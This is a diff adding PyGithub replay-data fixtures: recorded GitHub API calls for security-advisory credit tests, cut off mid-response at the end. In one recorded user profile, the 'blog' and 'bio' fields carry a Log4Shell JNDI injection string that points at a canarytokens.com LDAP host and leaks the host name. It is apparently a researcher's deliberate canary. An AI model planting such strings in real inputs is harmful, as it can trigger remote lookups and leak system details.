b/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt new file mode 100644 index 00000000..98d9a20e --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt @@ -0,0 +1,11 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 20:49:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"752c50ea4418d5a955c86978a94775b8963dba736b2e51ee34e8f219d61062cf"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1680209691'), ('X-RateLimit-Used', '138'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF93:20BD:172867:2FBB1E:6425F5D4')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt b/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt new file mode 100644 index 00000000..273a9fac --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt @@ -0,0 +1,22 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '77'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAFF:0324:7AA77E8:FB2E11E:64260245')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f198359a2107c042d58ecf72395d46274b3b12337f85384a4019b616c62a67a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '78'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB00:475B:295BC8:551DDE:64260246')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt b/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt new file mode 100644 index 00000000..f9ebba94 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt @@ -0,0 +1,11 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 19:04:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a5b5fadc5ecef7df034508971debefa3dac9324c6dbe6a06e399026c5ff5ec3e"'), ('Last-Modified', 'Tue, 28 Mar 2023 21:41:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1680206007'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D88C:0FC0:1C7A795:3A9AF22:6425DD32')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2050-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2050-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-28T21:41:40Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt b/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt new file mode 100644 index 00000000..df7e7470 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt @@ -0,0 +1,33 @@ +https +GET +api.github.com +None +/user +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"00fb1f6d00e55be8de5b35d8bbdce396baa8511d61b19e245256debb8a600f6a"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '68'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F3:579F:33D97B:6A74C9:64260736')] +{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1514,"public_gists":33,"followers":651,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} + +https +GET +api.github.com +None +/repos/JLLeitschuh/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67f04d9707348c76ec715daf2a8b7b3707c850c088d1a13b2fc622cdf2e036e7"'), ('Last-Modified', 'Mon, 10 Feb 2020 03:37:22 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4931'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '69'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F4:0A4D:2CF778:5CBB0D:64260736')] +{"id":239420449,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk0MjA0NDk=","name":"PyGithub","full_name":"JLLeitschuh/PyGithub","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/JLLeitschuh/PyGithub","forks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/comments{/number}","issue_comment_url":"https://api.github.